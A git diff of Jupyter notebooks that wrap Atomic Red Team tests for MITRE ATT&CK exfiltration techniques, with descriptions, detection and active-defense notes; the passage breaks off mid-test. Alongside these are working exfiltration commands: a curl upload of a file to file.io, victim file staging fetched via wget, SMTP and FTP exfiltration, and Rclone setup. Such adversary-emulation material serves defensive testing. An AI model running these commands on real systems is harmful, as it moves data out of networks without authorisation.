[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary." }, { "cell_type": "markdown", - "id": "5b3a07ac", + "id": "e561b2ee", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e46c206c", + "id": "6c6c055b", "metadata": {}, "source": "## Detection\nMonitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1020.ipynb b/playbook/tactics/exfiltration/T1020.ipynb index 9a2b954a..c33aeb6a 100644 --- a/playbook/tactics/exfiltration/T1020.ipynb +++ b/playbook/tactics/exfiltration/T1020.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8eeb3c54", + "id": "534d5dd0", "metadata": {}, "source": "# T1020 - Automated Exfiltration\nAdversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)." }, { "cell_type": "markdown", - "id": "dae62f65", + "id": "8c36bc1e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cba0855b", + "id": "b6944a0c", "metadata": {}, "source": [ "### Atomic Test #1 - IcedID Botnet HTTP PUT", @@ -27,34 +27,34 @@ { "cell_type": "code", "execution_count": null, - "id": "83d79d43", + "id": "658d14b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1020 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b25a3815", + "id": "b6db5bfd", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$fileName = \"C:\\temp\\T1020_exfilFile.txt\"\nRemove-Item -Path $fileName -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "d5fab861", + "id": "a3a9899f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1020 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "64d8d8f7", + "id": "8ddeeeec", "metadata": {}, "source": "## Detection\nMonitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious." }, { "cell_type": "markdown", - "id": "7ca2d079", + "id": "92755f46", "metadata": {}, "source": "\n## Shield Active Defense\n### PCAP Collection \n Collect full network traffic for future research and analysis. \n\n PCAP Collection allows a defenders to use the data to examine an adversary\u2019s network traffic more closely, including studying if it is encoded and/or encrypted. PCAP can be run through tools to replay the traffic to get a real-time view of what happened over the wire. These tools can also parse the traffic and send results to a SIEM for monitoring and alerting.\n#### Opportunity\nThere is an opportunity to collect network data and analyze the adversary activity it contains.\n#### Use Case\nCollecting full packet capture of all network traffic allows you to review what happened over the connection and identify command and control traffic and/or exfiltration activity.\n#### Procedures\nCollect PCAP on a decoy network to improve visibility into an adversary's network activity.\n" } @@ -62,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1022.ipynb b/playbook/tactics/exfiltration/T1022.ipynb deleted file mode 100644 index 7cdcde53..00000000 --- a/playbook/tactics/exfiltration/T1022.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0d6e7e81", - "metadata": {}, - "source": "# T1022 - Data Encrypted\nData is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)" - }, - { - "cell_type": "markdown", - "id": "7f76e93d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "87331f46", - "metadata": {}, - "source": "## Detection\nEncryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/exfiltration/T1029.ipynb b/playbook/tactics/exfiltration/T1029.ipynb index 0d21e379..3a5a11bc 100644 --- a/playbook/tactics/exfiltration/T1029.ipynb +++ b/playbook/tactics/exfiltration/T1029.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "2bd8b790", + "id": "026d902d", "metadata": {}, "source": "# T1029 - Scheduled Transfer\nAdversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)." }, { "cell_type": "markdown", - "id": "041531d2", + "id": "86294f6b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ab0c3235", + "id": "f9fd512d", "metadata": {}, "source": "## Detection\nMonitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious." }, { "cell_type": "markdown", - "id": "f65c3dc3", + "id": "68e1dd37", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1030.ipynb b/playbook/tactics/exfiltration/T1030.ipynb index 528ca581..3926261e 100644 --- a/playbook/tactics/exfiltration/T1030.ipynb +++ b/playbook/tactics/exfiltration/T1030.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "85e1a3cc", + "id": "0c57c31f", "metadata": {}, "source": "# T1030 - Data Transfer Size Limits\nAn adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts." }, { "cell_type": "markdown", - "id": "d9f10d07", + "id": "5c743b81", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b990b9de", + "id": "d807ea18", "metadata": {}, "source": "### Atomic Test #1 - Data Transfer Size Limits\nTake a file/directory, split it into 5Mb chunks\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `sh`!\n##### Description: The file must exist for the test to run.\n##### Check Prereq Commands:\n```sh\nif [ ! -f /tmp/T1030/T1030_urandom ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -d /tmp/T1030 ]; then mkdir -p /tmp/T1030; touch /tmp/T1030/safe_to_delete; fi; dd if=/dev/urandom of=/tmp/T1030/T1030_urandom bs=25000000 count=1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e3bdeeb1", + "id": "0d1a5fb9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1030 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4b48a187", + "id": "7060c045", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,34 +38,34 @@ { "cell_type": "code", "execution_count": null, - "id": "27f764f4", + "id": "8cd9903f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1030 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "017c51b8", + "id": "4b509dcc", "metadata": {}, "source": "#### Cleanup: \n```sh\nif [ -f /tmp/T1030/safe_to_delete ]; then rm -rf /tmp/T1030; fi;\n```" }, { "cell_type": "code", "execution_count": null, - "id": "08f7cf85", + "id": "9c90093f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1030 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c09f600b", + "id": "26f1f238", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "4bc6d3b4", + "id": "de221532", "metadata": {}, "source": "\n## Shield Active Defense\n### PCAP Collection \n Collect full network traffic for future research and analysis. \n\n PCAP Collection allows a defenders to use the data to examine an adversary\u2019s network traffic more closely, including studying if it is encoded and/or encrypted. PCAP can be run through tools to replay the traffic to get a real-time view of what happened over the wire. These tools can also parse the traffic and send results to a SIEM for monitoring and alerting.\n#### Opportunity\nThere is an opportunity to collect network data and analyze the adversary activity it contains.\n#### Use Case\nCollecting full packet capture of all network traffic allows you to review what happened over the connection and identify command and control traffic and/or exfiltration activity.\n#### Procedures\nCollect PCAP on a decoy network to improve visibility into an adversary's network activity.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1041.ipynb b/playbook/tactics/exfiltration/T1041.ipynb index f8d578da..1e31e64b 100644 --- a/playbook/tactics/exfiltration/T1041.ipynb +++ b/playbook/tactics/exfiltration/T1041.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ba7f89fd", + "id": "f65b1fb2", "metadata": {}, "source": "# T1041 - Exfiltration Over C2 Channel\nAdversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications." }, { "cell_type": "markdown", - "id": "b86ea5ad", + "id": "a2517bb9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "69801a47", + "id": "99b189c8", "metadata": {}, "source": [ "### Atomic Test #1 - C2 Data Exfiltration", @@ -27,20 +27,20 @@ { "cell_type": "code", "execution_count": null, - "id": "017d0650", + "id": "dd03a1eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1041 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f117800b", + "id": "c73f9686", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "725a129b", + "id": "e2079780", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Manipulation \n Make changes to network properties and functions to achieve a desired effect. \n\n Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.\n#### Opportunity\nThere is an opportunity to disrupt or enable and adversary's exfiltration activities by blocking/unblocking the traffic to their Command and Control (C2) location.\n#### Use Case\nA defender can prevent or enable use of alternate protocols for exfiltration by blocking/unblocking unnecessary ports and protocols.\n#### Procedures\nAdd a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope.\nIntroduce intermittent network packet loss on a decoy network to interfere with an adversary's activities.\n" } @@ -48,13 +48,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1048.001.ipynb b/playbook/tactics/exfiltration/T1048.001.ipynb index 4f365c33..f914543c 100644 --- a/playbook/tactics/exfiltration/T1048.001.ipynb +++ b/playbook/tactics/exfiltration/T1048.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bb383a59", + "id": "ebde5f38", "metadata": {}, "source": "# T1048.001 - Exfiltration Over Symmetric Encrypted Non-C2 Protocol\nAdversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). " }, { "cell_type": "markdown", - "id": "b9bd00d6", + "id": "01a29faf", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "90526617", + "id": "48fb77f8", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1048.002.ipynb b/playbook/tactics/exfiltration/T1048.002.ipynb index 8dc9f56d..5af5fd2b 100644 --- a/playbook/tactics/exfiltration/T1048.002.ipynb +++ b/playbook/tactics/exfiltration/T1048.002.ipynb @@ -2,53 +2,53 @@ "cells": [ { "cell_type": "markdown", - "id": "ec6c8a06", + "id": "1aa0bdb6", "metadata": {}, "source": "# T1048.002 - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol\nAdversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. " }, { "cell_type": "markdown", - "id": "f86082cf", + "id": "22e432cf", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e5594de9", + "id": "1514e169", "metadata": {}, - "source": "### Atomic Test #1 - Exfiltrate data HTTPS using curl windows\nExfiltrate data HTTPS using curl to file share site file.io\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\" -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n\n```\n##### Description: #{input_file} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder/T1048.002/src/artifact) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder/T1048.002/src/artifact) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact\" -OutFile \"PathToAtomicsFolder/T1048.002/src/artifact\"\n\n```" + "source": "### Atomic Test #1 - Exfiltrate data HTTPS using curl windows\nExfiltrate data HTTPS using curl to file share site file.io\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://curl.se/windows/dl-8.4.0_6/curl-8.4.0_6-win64-mingw.zip\" -Outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\\curl-8.4.0_6-win64-mingw\\bin\\curl.exe\" C:\\Windows\\System32\\Curl.exe\n\n```\n##### Description: #{input_file} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder/T1048.002/src/artifact\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder/T1048.002/src/artifact\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact\" -OutFile \"PathToAtomicsFolder/T1048.002/src/artifact\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f924506", + "id": "7b14e155", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fad1973d", + "id": "9a725d78", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\System32\\Curl.exe -F 'file=@PathToAtomicsFolder/T1048.002/src/artifact' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/\n```" + "```command_prompt\nC:\\Windows\\System32\\Curl.exe -k -F \"file=@PathToAtomicsFolder/T1048.002/src/artifact\" https://file.io/\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "74ef3cfe", + "id": "a83554d1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b3cb0363", + "id": "bc541026", "metadata": {}, "source": [ - "### Atomic Test #2 - Exfiltrate data HTTPS using curl linux", + "### Atomic Test #2 - Exfiltrate data HTTPS using curl freebsd,linux or macos", "Exfiltrate data HTTPS using curl to file share site file.io\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", @@ -59,14 +59,14 @@ { "cell_type": "code", "execution_count": null, - "id": "27008b2b", + "id": "3331663d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "82b255c1", + "id": "2cf67d8e", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) " } @@ -74,13 +74,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/exfiltration/T1048.003.ipynb b/playbook/tactics/exfiltration/T1048.003.ipynb index 24ac08c9..0b89411c 100644 --- a/playbook/tactics/exfiltration/T1048.003.ipynb +++ b/playbook/tactics/exfiltration/T1048.003.ipynb @@ -2,23 +2,23 @@ "cells": [ { "cell_type": "markdown", - "id": "bc9847eb", + "id": "cd436de0", "metadata": {}, - "source": "# T1048.003 - Exfiltration Over Unencrypted Non-C2 Protocol\nAdversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. " + "source": "# T1048.003 - Exfiltration Over Unencrypted Non-C2 Protocol\nAdversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. " }, { "cell_type": "markdown", - "id": "1eb483b8", + "id": "edf75686", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d7a819f0", + "id": "dba0db15", "metadata": {}, "source": [ "### Atomic Test #1 - Exfiltration Over Alternative Protocol - HTTP", - "A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337.\n\nUpon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.\n", + "A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337.\n\nUpon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.\n", "**Supported Platforms:** macos, linux", "Run it with these steps!", "1. Victim System Configuration:\n\n mkdir /tmp/victim-staging-area\n echo \"this file will be exfiltrated\" > /tmp/victim-staging-area/victim-file.txt\n\n2. Using Python to establish a one-line HTTP server on victim system:\n\n cd /tmp/victim-staging-area\n python -m SimpleHTTPServer 1337\n\n3. To retrieve the data from an adversary system:\n\n wget http://VICTIM_IP:1337/victim-file.txt\n" @@ -26,7 +26,7 @@ }, { "cell_type": "markdown", - "id": "83774e16", + "id": "f2f59d47", "metadata": {}, "source": [ "### Atomic Test #2 - Exfiltration Over Alternative Protocol - ICMP", @@ -39,14 +39,14 @@ { "cell_type": "code", "execution_count": null, - "id": "23737b4d", + "id": "f655df41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fa2d8ca8", + "id": "f90a9305", "metadata": {}, "source": [ "### Atomic Test #3 - Exfiltration Over Alternative Protocol - DNS", @@ -58,7 +58,7 @@ }, { "cell_type": "markdown", - "id": "2ed9eff8", + "id": "96fa603f", "metadata": {}, "source": [ "### Atomic Test #4 - Exfiltration Over Alternative Protocol - HTTP", @@ -71,18 +71,18 @@ { "cell_type": "code", "execution_count": null, - "id": "9cb8412f", + "id": "beab9c3f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "b0acd6d8", + "id": "c7986b0a", "metadata": {}, "source": [ "### Atomic Test #5 - Exfiltration Over Alternative Protocol - SMTP", - "Exfiltration of specified file over SMTP.\nUpon successful execution, powershell will send an email with attached file to exfiltrateto a remote address. Results will be via stdout.\n", + "Exfiltration of specified file over SMTP.\nUpon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", "```powershell\nSend-MailMessage -From test@corp.com -To test@corp.com -Subject \"T1048.003 Atomic Test\" -Attachments C:\\Windows\\System32\\notepad.exe -SmtpServer 127.0.0.1\n```" @@ -91,14 +91,14 @@ { "cell_type": "code", "execution_count": null, - "id": "652a3ecc", + "id": "f218b716", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "babd3304", + "id": "d0c955b3", "metadata": {}, "source": [ "### Atomic Test #6 - MAZE FTP Upload", @@ -111,42 +111,42 @@ { "cell_type": "code", "execution_count": null, - "id": "651af838", + "id": "5e512eab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "0c59e32a", + "id": "3b8beb50", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$ftp = \"ftp://127.0.0.1/\"\ntry {foreach ($file in (dir \"$env:windir\\temp\" \"*.7z\"))\n{$uri = New-Object System.Uri($ftp+$file.name)\n $ftp_del = [System.Net.FtpWebRequest]::create($uri)\n $ftp_del.Credentials = New-Object System.Net.NetworkCredential('None','None')\n $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile\n $ftp_del.GetResponse()}} catch{}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0f3b7329", + "id": "a18c24a1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "12fa6ad8", + "id": "88809f82", "metadata": {}, "source": "### Atomic Test #7 - Exfiltration Over Alternative Protocol - FTP - Rclone\nRclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server.\n[Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if the exfil package exists\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Users\\Public\\Downloads\\exfil.zip) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nfsutil file createnew C:\\Users\\Public\\Downloads\\exfil.zip 20485760\n\n```\n##### Description: Check if rclone zip exists\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Users\\Public\\Downloads\\rclone-current-windows-amd64.zip) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -Uri \"https://downloads.rclone.org/rclone-current-windows-amd64.zip\" -OutFile \"C:\\Users\\Public\\Downloads\\rclone-current-windows-amd64.zip\"\nExpand-Archive C:\\Users\\Public\\Downloads\\rclone-current-windows-amd64.zip -DestinationPath C:\\Users\\Public\\Downloads\\\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f262e25c", + "id": "62179768", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ffe10f75", + "id": "9e689bf9", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -156,14 +156,14 @@ { "cell_type": "code", "execution_count": null, - "id": "1bfdc734", + "id": "9b7c1100", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1048.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "9149e64e", + "id": "361e1aeb", "metadata": {}, "source": [ "### Atomic Test #8 - Python3 http.server", @@ -171,34 +171,34 @@ "**Supported Platforms:** linux", "\nElevation Required (e.g. root or 